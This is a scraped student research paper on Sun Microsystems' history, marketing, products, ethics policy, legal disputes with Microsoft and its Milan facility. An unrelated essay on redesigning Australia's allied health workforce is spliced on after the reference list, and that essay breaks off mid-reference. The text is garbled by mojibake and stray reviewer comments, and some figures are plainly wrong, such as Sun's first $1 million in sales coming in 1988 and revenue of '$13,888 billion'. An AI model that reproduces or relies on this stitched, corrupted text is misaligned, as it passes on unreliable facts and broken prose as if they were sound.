¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 27 iv History, Strategy, International CHAPTER 1 SUN MICROSYSTEMS: INTRODUCTION Over the last 26 years, Sun has built a strong business strategy to satisfy commercial and consumer buyers with multiple products. When it all comes down to it, Sun Microsystems is one of the most defined and trusted computer manufactures in the globe. This thesis paper discusses the achievements of Sun Microsystems, Inc. Chapter 2 looks into the history of Sun Microsystems. Chapter 3 reviews the choice marketing strategy of Sun and how they have improved their current business position. Chapter 4 examines what products Sun provides consumers in software, storage, desktops, workstations, and microelectronics. Chapter 5 discusses the business code of ethics policy. Chapter 6 explores the legality of Sun Microsystems. Chapters 7 through 11 discuss the international facility of Sun Microsystems in Milan, Italy and chapter 12 explores their global business strategies. 1 History, Strategy, International CHAPTER 2 SUN MICROSYSTEMS: HISTORY In 1982, four people got together and built Sun Microsystems, Inc. in Santa Clara, California. The latest date of 2007 annual reports confirms this company now has 34,000 employees worldwide. According to Hoovers, the top three executives are Jonathan I. Schwartz, President, CEO and Director, then Scott G. McNealy, Chairman, and then Gregory M. Papadopoulos, EVP Research and Development and CTO. (Hoovers, 2008) Since 1982, Sun Microsystems has believed, â€Å"The Network is the Computer† to achieve their company success. History In 1983, Sun made enough revenue to open operations overseas in Europe. (Sun, 2008) This new overseas office gave many capabilities to what Sun could accomplish. For example, Sun opened their doors in multiple international countries to build revenue. The first international operations for Sun opened in Canada in 1985 (Sun, 2008). The following year, operations started in Asia then in Australia. Sun, 2008) In 1988, Sun reached their first $1 million dollars in sales revenue, which is a major milestone. (Sun, 2008) In 1990, Sun introduced the first workstation which was a new plateau reached. (Sun, 2008) This workstation brought new strategy into Sun’s marketing strategy because of opportunity it added. Continued Growth In the late 1990’s, Sun expanded their business horizons int o hardware then built a T1 server which handled the backbone of the Internet. (Sun, 2008) That same year, Sun completed the Micro, Standard, and Enterprise editions of the Java 2 platform 2 Comment [US1]: Period follows citation not before History, Strategy, International 3 application. (Sun, 2008) Java software gives opportunity to developers they previously did not have. This software allows programmers to develop and build ideas more easily. Java is used in web browsers to this day, so it is important to ensure that application stays updated as required. History, Strategy, International CHAPTER 3 SUN MICROSYSTEMS: MARKETING The marketing strategy of Sun Microsystems did change as the company increased the product line because with additions they needed to build a correct strategy. The reason for changing the marketing strategy is to compete with businesses just like them. Sun Microsystems has always ensured that their consumers receive the best products and the best in customer service. In 1992, a great marketing strategy used by Sun was to join with Hewlett Packard and announce new workstations built specifically for technical businesses. As the author of Computerworld magazine stated, â€Å"The companies are pitching their workstations to different customers–Sun wants to displace PCs from commercial desktops and HP is focusing on the midrange and high-end workstation user. (Johnson, 1992, 4) SWOT Issues Just like any other business, Sun has strengths, weaknesses, opportunities, and threats. Keeping those four key points in mind will provide Sun the assistance they need to further their possibilities in the world of technology. Sun was able to acquire the program application MySQL. In many technical circles such as networking, the word â€Å"lampâ₠¬  will be used during a discussion between administrators. An IT article explains how these letters are also read. The letters of lamp each stand for an application used to build a network server; Linux, Apache, MySQL, and PHP. Anonymous, 2008) Microsoft vs. Sun Microsystems Microsoft is a company that many consumers know for the popular operating software they provide, Windows. Some may not be aware of legal issues that had taken 4 Comment [US2]: Magazines and newspapers are in italics History, Strategy, International 5 place between Microsoft and Sun regarding the Java application. A 2004 article put many business owners at ease when the authors stated, â€Å"Just before last Christmas, secret talks aimed at ending one of the bitterest wars in business foundered. You read "Sun Microsystems Strategic Positioning" in category "Papers" (Guth Clark, 2004, A1) The disagreement began on October 1997 when Microsoft was sued for using Java incorrectly. In January 2001, Microsoft and S un did reach an agreement finally to settle the 1997 case in which Microsoft paid Sun $20 million dollars. (Guth Clark, 2004) The settlement of this case actually allowed both companies to move forward without regrets. On March 10, 2008, Microsoft and Sun Microsystems met once again and this time it was on better terms. Both companies created an alliance including the grand opening of the Sun/Microsoft Interoperability Center. The center is located in Redmond, Washington, the same location of the headquarters for Microsoft. One benefit this center received was the type of Sun server and storage system. The other benefit was the type of Microsoft server software. (Johnson, 2008) History, Strategy, International 6 CHAPTER 4 SUN MICROSYSTEMS: PRODUCT TECHNOLOGY Software Sun provides many options to consumers when choosing from software. It is not just operating systems. Sun provides Java and Java Enterprise Systems to the consumers. Consumers have the ability to use Mobile Solutions when they are away from their away from their main computer. Business management software is available on levels of security for identity management or systems management. Software tools to assist database maintenance, application management, and development production are also available. The latest version of Solaris is Solaris 10 and it was released in 2004. (Sun, 2008) Servers Sun Microsystems has been busy improving since the original SPARC came onto the market. Now consumers have multiple options within this category to chose. For example, a consumer could choose a â€Å"Blade† server, the â€Å"x64† server, a Netra server, a SPARC erver, an Entry Rack Mount server, a Mid-range server, or a High-End server. Each product has advantages and disadvantages that will match up to a consumer’s needs. If a business still needs to consider options, the Sun web site performs a comparison of the servers. If a business needs something more customized, Sun will provide rack cabinets so the business can build a specialized rack sys tem to meet their own needs. History Conclusion Sun Microsystems provides more than software, main frames, and rack systems to the consumer. Over the last 26 years, Sun has built a strong business strategy to satisfy History, Strategy, International 7 commercial and consumer buyers with multiple products. Sun is a business that believes the best way to earn revenue is to stay focused on important issues. Keeping focus on business strategy and consumer needs will turn growth and revenue into prosperity. History, Strategy, International CHAPTER 5 SUN MICROSYSTEMS: CODE OF ETHICS In 2001, Sun Microsystems built a Business Conduct Office (BCO) to assist employees and board members as necessary. (Corporate, 2008) To ensure employees are assisted in the best possible way, Sun keeps this document consistently updated. An employee can contact the human resources department should they have any questions or concerns. Employee Code of Ethics After employees are hired, they are provided with documentation listing a helpfully written ethics policy each person is required to follow. As an employee, a person is expected to use common sense in the decision-making process. More importantly, Sun requires each employee and board member to follow these company ethical guidelines: â€Å"Be familiar with these Standards of Business Conduct and follow them at all times. Comply with all applicable governmental laws, rules, and regulations in the performance of their duties on Sun’s behalf. Be sensitive to situations which could lead to inappropriate business conduct and avoid engaging in such inappropriate business conduct. Comply fully with the letter and spirit of Sun’s Conflict of Interest policy and always conduct Sun business in a manner that avoids conflicts between personal interests and Sun’s best interests. Promptly bring to the attention of appropriate Sun management or Sun’s Business Conduct Office any known or perceived unacceptable business conduct or illegal behavior. Seek appropriate guidance when it is suspected that business conduct issues. 8 History, Strategy, International 9 Always conduct Sun’s business with honesty and integrity and refrain from conduct that would negatively impact Sun’s reputation. † (Sun Microsystems, 2007) Employee Relationships Businesses must build a working relationship between their employees just as they do with their consumers. It is also important for employees to know they will always have the respect of their employer at all times. Employees are expected to return the same professional conduct as a courtesy to their employer. In addition to professional standards, Sun has a global anti-discrimination policy that protects employee rights. This anti-discrimination policy serves dual purpose because it protects an employee’s rights and it prevents discrimination within the company. Anti-Discrimination Policy In the anti-discrimination policy, there are four types of harassment examples. They are verbal harassment, visual harassment, physical harassment, and sexual demands. (Sun Microsystems, 2007) An example of verbal harassment is co-worker insults another with explicit jokes or makes sexual remarks towards another person. Visual harassment is considered graphic material whether it is written, printed, or sent through email. Physical harassment is considered more sexual driven as a person intentionally brushes up against another in a way that is unwelcome. Sexual demands are defined as unwanted sexual advances. History, Strategy, International CHAPTER 6 SUN MICROSYSTEMS: LEGAL ISSUES Sun Microsystems has a legal department that has the capability to work through multiple situations. For example, Sun took legal action against Microsoft after discovering their Java code was used to advance Microsoft’s Internet Explorer. After Sun and Microsoft ironed legal differences in front of a judge in 2004, both companies emerged with new ideas. According to a 2007 article in the Wall Street Journal, â€Å"Sun has agreed to sell servers that come with Windows installed at the factory. Some customers already run Windows on Sun’s x86 systems — those that use chips from Intel Corp. and Advanced Micro Devices Inc. — but had to buy and install the software themselves. † (Lawton Clark, 2007) The executive vice president of Sun’s systems group stated, â€Å"This is quite a different situation. (Lawton Clark, 2007) It is obvious seeing Sun and Microsoft business activities they can become allies and begin build something new to benefit the consumer. Hardware Patents Another legal issue was resolved between Sun and a company named Custom Hardware Engineering over a patent dispute. Financial Wire briefly explained this suit in an article because of the delicate legal information inv olved. This independent service stated, â€Å"Custom Hardware had filed an antitrust counterclaim against the charges and was seeking $140 million in damages. † (FinancialWire, 2007) Sun settled the counterclaim with an amount that has not been disclosed. Because Sun purchased this hardware company, Sun in turn legally owned all rights however; one could possibly see why Custom Hardware attempted to sue for counter damages. 10 History, Strategy, International CHAPTER 7 SUN MICROSYSTEMS: INTERNATIONAL COUNTRY ANALYSIS (ITALY) This section of the Sun Microsystems research paper discusses the international facility. The global center is located in Milan, Italy. The international center provides consumers the exact services that American customers receive. This section provides economic details of Italy such as employment and unemployment. Other information discussed is things pertaining to demographics and the future of how Sun can progressively build its facility in the country. Over the last 26 years, Sun Microsystems has built a strong business strategy to satisfy commercial and consumer buyers with multiple products. When it all comes down to it, Sun Microsystems is one of the most defined and trusted computer corporations across the globe. 11 History, Strategy, International CHAPTER 8 SUN MICROSYSTEMS: INTERNATIONAL ENVIRONMENT Sun has built a center in Milan and it is called the Solution Center. They believe it will â€Å"expand business opportunities, lower development costs, and get products to market quickly†. (Sun, 2008) Customers can choose from products such as Solaris and Linux servers, desktop computers, and other types of storage peripherals. Four services available in the Milan Solution Center are proofs-of concept, benchmarks, product and solution demos, and porting. (Sun, 2008) International Economy Results In Italy, the first economic quarterly period was reported as $387,952 million Euros. It was showing a 0. 7% change from the previous quarterly period with a 1. 9% change from the previous year. Italy, 2008) As of May 2008, the employment rate status was 23,229 and the unemployment rate was 6. 5%. The total imports of goods and services in May 2008 amounted to $40,150 million Euro. Total exports of goods and services in May 2008 amounted to $39,688 million Euro. SDDS data reported the revenue of 2007 being $724,246 million Euro. (Italy, 2008) The Sun fa cility is located in Milan, Italy. Domestic Economy Results As of August 2008, Sun Microsystems reported its fiscal results. The revenue for the fiscal year was $13,888 billion. Revenue results for Q4 of fiscal 2008 are $3. 780 billion. Net-income for the fiscal 2008 earnings is $88 million. Cash earnings from operations of fiscal year are $1. 3 billion. (â€Å"Sun Microsystems,† 2008) 12 History, Strategy, International CHAPTER 9 SUN MICROSYSTEMS: INTERNATIONAL DEMOGRAPHICS On July 2007, a census reported the population of Italy to be 58,147,733 residents approximately. (Intute-World Guide, 2006/2008) The total residents in the labor force as of 2007 were 24. 86 million. The exports of Italy are engineering products, textiles and clothing, production machinery, motor vehicles, transport equipment, chemicals, food, beverages and tobacco, minerals and nonferrous metals. The country of Italy has boundaries to Austria, France, San Marino, Slovenia, Switzerland and the Vatican City including a coastline that spans 7,600 kilometers. (Intute-World Guide, 2006/2008) There are eight seaports, Augusta, Genoa, Livorno, Ravenna, Sarroch, Taranto, Trieste, and Venice. Italy has one gas pipeline and one oil pipeline. Two types of railways and 612 merchant ships are available to carry commercial or industrial cargo. (CIA-The World, 2008) Population According to The World Fact Book, the population of Italy was 58,145,321 as of July 2008. The median age of the male was 41. 4 years. The median age for the female was 44. years. The census of 2001 showed literacy rate for the male population as 98. 8% and the literacy of the female population as 98%. In a census as of 2006, school age expectancy for males was 16 years and school age expectancy was 17 years for females. (CIA-The World, 2008) 13 History, Strategy, International CHAPTER 10 SUN MICROSYSTEMS: INTERNATIONA L POLITICS According to the Maps of the World, there are three government components in Italian politics executive, legislature, and judiciary. (Government and, 2008) The executive area is in essence the Prime Minister while judiciary has control over legal power of the country. Italian citizens are permitted to vote at the age of 18. They can choose from a multiple list of governmental parties listed in Appendix B. (Government and, 2008) 14 History, Strategy, International CHAPTER 11 SUN MICROSYSTEMS: INTERNATIONAL SWOT Even though Sun has a facility in Italy, a SWOT analysis must be followed to ensure business operations move smoothly. SWOT analysis is defined by Bnet. com as, â€Å"an assessment of Strengths, Weaknesses, Opportunities, and Threats. SWOT analysis is used within organizations in the early stages of strategic and marketing planning. It is also used in problem solving, decision making, or for making staff aware of the need for change. It can be used at a personal level when examining your career path or determining possible career development. † (Cnet Networks Inc, 2008) In essence, the SWOT analysis is used to guide a business with structure and conformity. SWOT Analysis The SWOT analysis shows how strengths and weaknesses are internal whereas opportunities and threats are external. Using that philosophy, Sun must keep track of strengths or business advantages at their Milan facility. Sun should consider how to improve the current business status by increasing revenue in the technical market. When a business keeps aware of opportunities, it can improve their status. A few examples provided by QuickMBA. com are, â€Å"an unfulfilled customer need, arrival of new technologies, loosening of regulations, and removal of international trade barriers. † (Swot Analysis, 1999/2007) For example, currently Sun has a few facilities with trade barriers so should they be lifted that will allow easier delivery of product and building of revenue. Furthermore, Sun has 10 General Prohibition restrictions with specific countries and customers. (Sun Microsystems, 1994/2008) These restrictions protect Sun as well as their employees. 15 History, Strategy, International CHAPTER 12 SUN MICROSYSTEMS: GLOBAL BUSINESS STRATEGIES The three strategies business owners can choose from when determining what will work best for their business strategy on a global scale are multi-domestic, global, and transnational. The multi-domestic business strategy focuses on all overseas countries the firm has operations. The global strategy focuses on how products are delivered to the countries. According to Cangemi, â€Å"a transnational strategy seeks to combine aspects of both multidomestic and global strategies in order to emphasize both local responsiveness and global integration and coordination. † (Cangemi, 2008) Five Business Level Strategies Sun builds benefit from the five business level strategies that are cost leadership, differentiation, focused low cost, focused differentiation, and integrated strategy. Sun recognizes five items their business could face while attempting to improve. These items known as Porters Five Forces are competitive rivalry, power of suppliers, power of buyers, threats of substitutes, and threats of new entrants. A visual of Porters five forces is displayed in Appendix A. (Recklies, 2007) Albert Einstein once said, â€Å"Try not to become a man of success but rather to become a man of value. † (Success Quotes, 1994/2007) Sun delivers value to their consumers both domestic and international. Sun has grown to a successful business because of their continuous years of hard work from the CEO and all employees. Sun has proven to succeed in business it takes dedication, communication, and the willingness to work outside of the box. 16 History, Strategy, International CHAPTER 13 SUN MICROSYSTEMS: CHANGE MANAGEMENT Since 1982, Sun Microsystems has followed a structured business plan of goals for company products, services and higher revenue earnings. The 1980’s was a time for many companies to begin automating their systems. While some companies were just beginning to automate, Sun introduced its first workstation for businesses. In 1983, Sun opened the first facility overseas in Europe to expand products and increase revenue. Server Management In 2000, Sun customers who purchased high-end servers experienced a memory glitch error. Because of the error’s location, a statement was released on anonymity. The CIO stated, â€Å"Sun has taken an aggressive approach to addressing these issues with our customers. We have identified the source of the problem and taken steps to ensure that it does not happen again. † (Wagner, 2000, 10) Executives have said even though consumers were requested to sign a nondisclosure agreement to protect proprietary information, Sun plans to releasing a system board before the New Year that should resolve this error. Just as a gardener pull weeds for vegetables growth, Sun executives train personnel so they can grow within the business and excel. 17 History, Strategy, International CHAPTER 14 SUN MICROSYSTEMS: STRATEGIC CHANGE In December 2002, Sun Microsystems accomplished one more business goal after automation of their data center. Gordon Haff, analyst at Illuminata explains, Making effective use of data-center assets always has been an issue, but it’s been exacerbated by the technology build-out of a few years ago. People would be very happy with a magic solution that allowed 1,000 servers to be managed as easy as one server, but that doesn’t exist today, software developments such as IBM’s Project eLiza, Hewlett-Packard’s Adaptive Management Platform, and Sun Microsystems’ N1 are steps in the right direction. (Greenemeier, 2002) Product Upgrade In April 2004, Sun Microsystems performed a product upgrades to Linux that provided business consumers desktop ease. This Linux version provides a newer version of Enterprise Java desktop. Not only that, system administrators can now control the entire desktop from a central platform. Chris Maresca, senior partner from Olliance Consulting states, â€Å"The desktop is one of the largest cost components of any modern corporation. When you layer on top of that the cost of server-based productivity apps tied to desktops, like Exchange, and you factor in the support costs for the desktops, servers and updates/security patches, plus mandatory hardware upgrades every few years, [the migration case] becomes even more compelling. † (Rooney, 2004) 18 History, Strategy, International 19 Storage Management In 2004, an upgrade that brought positive results to Sun was in the data management department. Sun announced the products StorEdge 6920 and Sun StorEdge 9990 storage devices. Marc Canepa, executive vice president of Sun Microsystems storage products says, â€Å"We don’t think of storage as a separate company that just happens to be owned by Sun Microsystems, just like we don’t believe that the strategy to reduce cost and complexity is one of going to a customer and taking over the whole operation. † (Fonseca, 2004) Open Source Management The strategy for this project has increased as time progressed because it is a very important product. An example of this is Sun classifying commercial open-source business strategies into four categories. Driver, Feinberg, and Weiss listed them in a Sun Microsystems Open Source 2008 report as: Sponsor open-source projects and solutions as an active member of a community, leverage open-source software embedded in other products and services, support and integrate selected products and services with open-source solutions, and provide direct, commercialized products and services of open-source solutions. (Driver Feinberg, 2008) History, Strategy, International CHAPTER 14 IMPLEMENT PLAN OF CHANGE Sun Microsystems provides a vast amount of products, which support multiple needs of customers. To ensure the best strategy, Sun Microsystems must implement a plan to improve their current strategic position. When a business uses one strategy continuous, employees tend to become complacent then fall into a comfort zone. When Sun implements a new strategy, they could experience some resistance from employees because they did fall into that comfort zone. Implement Change When a business is ready to improve, management needs to be aware of three things, people, communication, and training. As John Kline explains in his article, â€Å"Implementing organizational change is a difficult and critical task. It has always been that way and is getting more so with the accelerated rate of change in most organizations. † (Kline, 2007) Employees must be aware of the changes made and how it will affect them. It is important for managers to stay communicated with their staff and keep them informed of any changes as they take place. During the process, managers should be training employees so they are prepared for the new conversion. 20 History, Strategy, International CHAPTER 16 IMPROVEMENT RECOMMENDATIONS Sun has a scheduled budget for research and development. The current strategy has allowed this company the ability to build a strong position in technology. Sun purchased a software company to complete a software collection for service-oriented architecture (SOA). Unfortunately, since this purchase Sun has not regained any lost ground. Sun must research what is currently available for storage management software and reconsider improving the plan for usage in mainframe systems. Sun should make a plan of time to review servers being sold. For example, newer technology will allow the company to provide things which older technology could not. A question Sun Microsystems must consider is how to manage replacements of damaged servers from customers when those particular servers have been replaced with newer models. Perhaps it is an opportunity for Sun to offer their customers a discount in such cases. In conclusion, Sun has built a strong business strategy to satisfy commercial and consumer buyers with multiple products. Because marketing is their responsibility, they must track sales and competition then readjust as necessary. Sun Microsystems is a defined and trusted computer corporation that international and domestic markets will work with. 1 History, Strategy, International 22 References Cangemi, R. R. (2008). The Formulation of an International Strategy. Pace University. p26-4. CIA-The World Factbook Italy. (2008). Retrieved August 11, 2008, from CIA Web site: https://www. cia. gov/library/publications/the-world-factbook/print/it. html Cnet Networks Inc. (2008). SWOT Analysis Definition. In BNet. com. San Francisco: C net Networks, Inc. Driver, M. , Feinberg, D. Weiss. (2008). Open Source at Sun Microsystems, 2008 (Research Note G00156448). Denver, CO: Gartner. Fonseca, B. (2004, September 20). Sun, HP Focus on Storage; Goal is to simplify SAN management. Eweek, p. 31. Government and Politics in Italy. (2008). San Jose, CA: MAP XL Inc. Greenemeier, L. (2002, December 2). Automating the Data Center. InformationWeek (917), 65. Guth, R. A. , Clark, D. (2004, April 5). Peace Program-Behind Secret Settlement Talks: New Power of Tech Customers; Microsoft, Sun Bury Hatchet, As Big Clients Demand Products Work Together; Gates Spotted in Enemy Camp. Wall Street Journal, p. A1. Hoovers. (2008). Sun Microsystems Executives [Data]. Available from Hoovers, http:// www. hoovers. com/free/co/people. html? ID=14833 Intute-World Guide. (2008). (Original work published 2006) Retrieved August 7, 2008, from Intute Web site: http://www. intute. ac. uk/sciences/worldguide/html/ 920_people. html History, Strategy, International 23 Italy: Economic and financial data. (2008) Retrieved on August 9, 2008 from http://www. istat. it/fmi/ITALY-NSDP. html#Real_Sector Johnson, M. (1992, November 16). Sun , HP Rev Workstations. Computerworld, p. 4. Johnson, R. (2008, March 10). Sun and Microsoft Expand Investment In Interoperability With New Center in Redmond, WA. Sun News. Kline, John A. (2007, January 1). How to implement change in your organization: the key: communicate, communicate, communicate. The Free Library. Recklies, D. (2007, December 30). Porters Five Forces. The Manager. org. Rooney, P. (2004, April 19). Migrating To LINUX. CRN, pp. 28. Success Quotes [Albert Einstein Quote]. (2007). (Original work published 1994) Retrieved August 17, 2008, from Quotations Page Web site: http:// www. quotationspage. com/subjects/success/ Sun Microsystems Export Prohibitions Disclaimer [International Trade Services]. (2008). (Original work published 1994) Retrieved August 17, 2008, from Sun Microsystems Web site: http://www. un. com/sales/its/prohibitions. html Sun Microsystems Reports Final Results for Full Fiscal Year and Fourth Quarter 2008. (2008, August). Sun Newsletter. Sun Microsystems, Inc. (2008). History. Retrieved from Sun Microsystems, Inc. , http://www. sun. com/aboutsun/company/history. jsp Sun Solutions Center: Milan, Italy. (2008) Retrieved on August 9, 2008 from: Sun Microsy stems: http://www. sun. com/solutioncenters/locations/milan/ Sun’s Open Source Experiment. (2008, January). IT Week, 13. History, Strategy, International 24 SWOT Analysis. (2007). Original work published 1999) Retrieved August 17, 2008, from Quick MBA Web site: http://www. quickmba. com/strategy/swot/ Wagner, M. (2000, Nov 13). Sun under Fire for Crashes – IT Execs Say Server Vendor was Unresponsive; Hardware Fix for Memory Glitch is coming. Internetweek, PG10. History, Strategy, International CERTIFICATE OF AUTHENTICATION NATIONAL AMERICAN UNIVERSITY GRADUATE STUDIES Submitted to: Dr. Richard H Gayer Submitted by: Susan L. Elvins Course: Strategy and Policy Date of Submission: September 11, 2008 Certificate of Authorship I hereby certify that I am the author of this document and any assistance I received in How to cite Sun Microsystems Strategic Positioning, Papers

Allied Health Workforce Redesign for Dentists- myassignmenthelp

Question: Discuss about theAllied Health Workforce Redesign for Dentists. Answer: Introduction Allied Health is a term used to show a large variety of medical specialists that are not nurses, dentists or doctors. Allied health experts aspire to avert, make a diagnosis and give treatment to several of illnesses and frequently work within a health crew having persons of different disciplines to give the patient the best posible results.Allied health professionals are employed in several locations including but not limited to: schools, universities, care homes, , community health centers, and hospitals. Allied Health Professionals are roughly 25% of the Australian health labor force. More than 154,000 Allied Health Professionals cataloged with APHRA in 2013, an 18% growth from 2012, and the field is continually experiencing positive increament (Wood, Schuurs, Amsters,2011). This report aims first to outline the allied health workforce redesign initiative, how far it has been implemented within Australia, and what role alterations have happened both in the allied healthcare profes sionals role and associated health worker roles. It will also show the benefits of the initiative to redesign the allied healthcare workforce even identifying which of the six principles outlined by Nancarrow has been tackled in the workforce redesign. Also, it will discuss if the redesign undertaking has brought about positive outcomes for both the patients and the allied healthcare workforce. Finally, it will identify what strategies can e implemented so that all the six principles outlined by Nancarrow shall be met and also to bring about a largescale implementation of the workforce redesign. The redesign initiative that has been undertaken for the allied health workforce is the Victorian Assistant Workforce Model. The Victorian Assistant Workforce Model (VAWM) for the allied health is a labor force redesign methodology to aid medical services to sustain the growing demands for allied healthcare (Yates, Wells, Carnell,2007).The VAWM toolkit gives a methodical approach to creating a maintainable and beneficial allied health workforce which is ripe for a drive, with the ability to provide the correct proficiencies at the correct period, place and amount.It will aid medical services to enhance access to allied health, letting more patients benefit from care provided.This workforce redesign aims to ensure allied medical experts and allied medical assistants work in the full range of their jobs and practices.Currently, in Australia, there is an aggregate of 1112 AHPs and 135 AHAs from 27 healthcare facilities. In a study carried out, AHPs observed that 24% of their time was co nsumed doing duties that could be tasked to an suitably trained and regulated AHA safely. It equals to 6837hours that may have been used to progress and increase the AHP practice functions or developed patient-centered care systems. The VAWM redesign initiative shows an ability for a more skillful execution of assistant workforce responsibilities across allied health (Wilson, Whitaker, Whitford, 2012). Several role changes have happened in both the allied health workforce and other health practitioners. First, when we focus more on improving and redesigning the allied health workforce and not the whole health care system, there is a risk that when these two groups work together, they will not fulfill their roles well as one works a well-oiled machine while the other is a bit dysfunctional. Also, when the workforce is redesigned, it may result in overlap of roles where for example a nutritionists part may be taken over by a doctor who knows about nutrition hence causing kind of friction. Again, with this redesign, it will define everyone's roles. Therefore, everyone will work with cohesion and patients can be treated well and as fast as possible (McGrath, Henderson, Tamargo, Holewa, 2011). The benefits of allied healthcare work redesign include the following. First, it leads to staff getting a greater sense of satisfaction hence giving them better opportunities to develop their careers. When the team gets their roles well defined n the redesign, they get satisfied in their jobs consequently perform better at work leading to the obtaining of more chances for promotion. Secondly, it leads to coming up with more maintainable job roles in the organization. When the functions are defined, these jobs can be filled up since everyone knows what is expected of them at work and thus these functions can be sustained in the long term. It also leads to a perception that allied health workers can perform and finish their job tasks faster doing in sound quality (Nancarrow, Roots, Grace, Moran, Vanniekerk-Lyons, 2013).Another benefit is that workers can be matched to tasks that better suit their skill sets. When one is matched to the correct function, they can perform their jobs bett er hence serving the patients better. They also get to learn a new set of skills so that they can take on more roles in the workplace since these functions are defined leading to an amplified sense of accomplishment by learning of new proficiencies and getting a more comprehensive information base, especially the allied health workers (Smith, Brown, Cooper,2009).. The workers also get the sense of being included in a team of different types of professions in the healthcare industry thus feel good and needed leading to a sense of satisfaction and patients getting better care and faster because these professionals are in a team and can work together. Also, these AHP can concentrate on bettering their skills as the AHAs can carry out the primary roles hence improve the care they can provide to their patients in the long run (Mason, 2013). The principle, to enhance workforce flexibility that is used in this allied health workforce redesign initiative is the one that says enable practitioners to work to their full scope of practice; delegate tasks where required. It is because, with the VAWM redesign initiative, the allied health assistants aid the allied professionals in performing their duties when they have delegated these tasks. It enables the AHPs to be able to perform their job responsibilities to their best of their ability as they have more time (Comans, Clark, Cartmill, Ash, Sheppard, 2011). It ensures patients get the best care possible from the professionals. They also get to improve the skills of the assistants who practice on roles they have been given hence with time the number of allied healthcare professionals who are qualified increases. This allied health workforce redesign initiative has brought about positive and amplified outcomes for patients and the healthcare providers. These include first, their chances for career growth and opportunities to grow for the allied health assistant workforce community increases and thus they can develop and improve their lives. Also, the patients get better health care services as roles are divided between the assistant's professionals hence everyone does their part well (Segal, Bolton,2009). The chances for growth needs to be combined with the advancement of regulation and assignment of job roles to the assistants with the allied health professional labor force to make sure that an combined labor force is created hence providing a functioning medical care system in the community. Patients can also get one on one specialized care until they get well as there will be an increased number of medical practitioners in the allied health field. Also when the allied healthcare workforce is redesigned, and their number increased through the assistants, they will be able to reach more of the chronically ill patients in Australia and give them specialized care. It will lead to these patients lives being saved as every patent will get the best care possible wherever they are because the allied medical professionals are many and thus can even reach the rural areas in Australia (Scott, Albrecht, OLeary, Ball, Hartling, Hofmeyer, Thompson, 2012). It has also been beneficial to medical care professionals and assistants in that with the increase in their number; they get competitive pay and benefits across the field, and also it ensures that there is job security for them. It has also made them flexible as they can perform a range of healthcare services hence they can work anywhere. I believe this allied healthcare redesign initiative (Comans, Clark, Cartmill, Ash, Sheppard, 2011). The following strategies can be applied to this initiative so that the six principles of healthcare flexibility can be achieved.The first policy of measure health system performance from the perspective of the patient can be made through having regular surveys in patients receiving the health care from the allied healthcare providers. These answers from the polls will let the allied health care professionals know the opinions of their patients and what they can do to improve their services (Scott, 2009). Hence they will make these systems patients based and know whether or not the level of services they provide is up to the expectations.The next strategy that can be implemented so that this first principle of flexibility can be achieved is by observing the patients and carrying out studies across different scenarios in patients so that the results of the survey can be used to improve healthcare delivery by the allied healthcare workforce (Keane, Smith, Lincoln, Wagner, Lowe,2008). The second principle ofminimising training time can be achieved by using the strategy of first using online training systems and simulations so that practitioners can be trained anywhere and anytime without needing to be physically present at the training centers. It minimises time spent waiting for training sessions and also reduces the amount of money used to travel for these training (Hakkennes Dodd,2008). Also developing plans so that these training can occur and these professionals and assistants can schedule them around their work. Thus they can provide care for patients as they improve their skill set. Also, these assistants get the experience they need as they do the duties delegated to them. Hence, they will reduce the time they take to receive the necessary education and training for accreditation because of skills learned at work (Moran, Nancarrow, Wiseman, Maher, Boyce, Borthwick Murphy, 2012). The third principle of regulate tasks or competencies, not professionscan be achieved in this allied health care redesign initiative through the following strategies. First, this can be done by explicitly outlining the tasks and responsibility of every worker. When one knows what is apparently expected of them in their job role, they will perform it to their best ability. Also during the recruitment process, the people employed should be able to fill in the positions that the job requires (Schoo, Stagnitti, Mercer-Grant Dunbar, 2005). If you hire the right person with the right skills the job will be done well also from the education level, it should be ensured that the right set of skills for allied healthcare professionals is being taught. It provides that new people in the field are well equipped to perform their roles. Hence by focusing on functions, the patients receive the best healthcare possible (Lizarondo, Kumar, Hyde, Skidmore,2010). For the next principle, match rewards and indemnity to the levels of skill and risk required to perform a particular task, not professional title. It can be done by having a reward system that gives workers rewards when they achieve set goals for a fixed period. It will encourage competitiveness, productivity and also improve the level of healthcare provided to patients (Hakkennes Dodd,2008). When the reward system is configured, it should be specified what kind of task is to be achieved, how it is should be done and the level of quality expected of them. Hence when these are met, they get rewarded thus this is beneficial to all parties involved. Also when the employees see that they get rewarded for having a high level of skill, they will always endeavor to improve themselves to be even better to get more rewards (Nancarrow, 2015). The last principle, ensure that practitioners have all the skills they need to perform the tasks required to work in the environment in which they work. The strategies that can be applied to achieve this includes first by ensuring the training received from the institutions is standardized. It makes sure that the allied health workforce is well trained and have the best skill set when they start working and caring for patients (Dubois Singh,2009). Also, random tests can be taken to ensure that practitioners in the allied healthcare field are up to date with the current practicess and skillset required in the area. They can also carry out regular training sessions for these practitioners so that this allied healthcare workforce in Australia is up to date in practices and patients receive the best care possible. Also, encouraging specialization ensures that people focus on fields they are best at making sure that when they are given tasks specific to their skill set they can perform i t to the best of their ability (Morris, Grimmer, Gilmore, Perera,Waddington, Kyle, Murphy,2014). Conclusion In conclusion, there is little sense for allied health practitioners to perform all duties when they can be helped by qualified allied health assistants to do the same tasks in half the time. It would be both economical and beneficial to both patients and the workforce. They will be able to save time and use it to improve their skills and also serve more patients. It also increases flexibility in the allied healthcare workforce field as more importance is given to them. Hence they can provide specialized care to different patients specifically in their area of specialty. I can say that this initiative if correctly implemented will achieve more of the desired outcome of improving the allied healthcare workforce. If the strategies named above are implemented, it will enhance the allied healthcare workforce drastically enhancing both the patient's experience and the skill set of the workforce. References Comans, T. A., Clark, M. J., Cartmill, L., Ash, S., Sheppard, L. A. (2011). How do allied health professionals evaluate new models of care? What are we measuring and why?. Journal for Healthcare Quality, 33(4), 19-28. Dubois, C. A., Singh, D. (2009). From staff-mix to skill-mix and beyond: towards a systemic approach to health workforce management. Human Resources for Health, 7(1), 87. Hakkennes, S., Dodd, K. (2008). Guideline implementation in allied health professions: a systematic review of the literature. Quality and Safety in Health Care, 17(4), 296-300. Keane, S., Smith, T. N., Lincoln, M., Wagner, S. R., Lowe, S. E. (2008). The rural allied health workforce study (RAHWS): background, rationale and questionnaire development. Rural Remote Health, 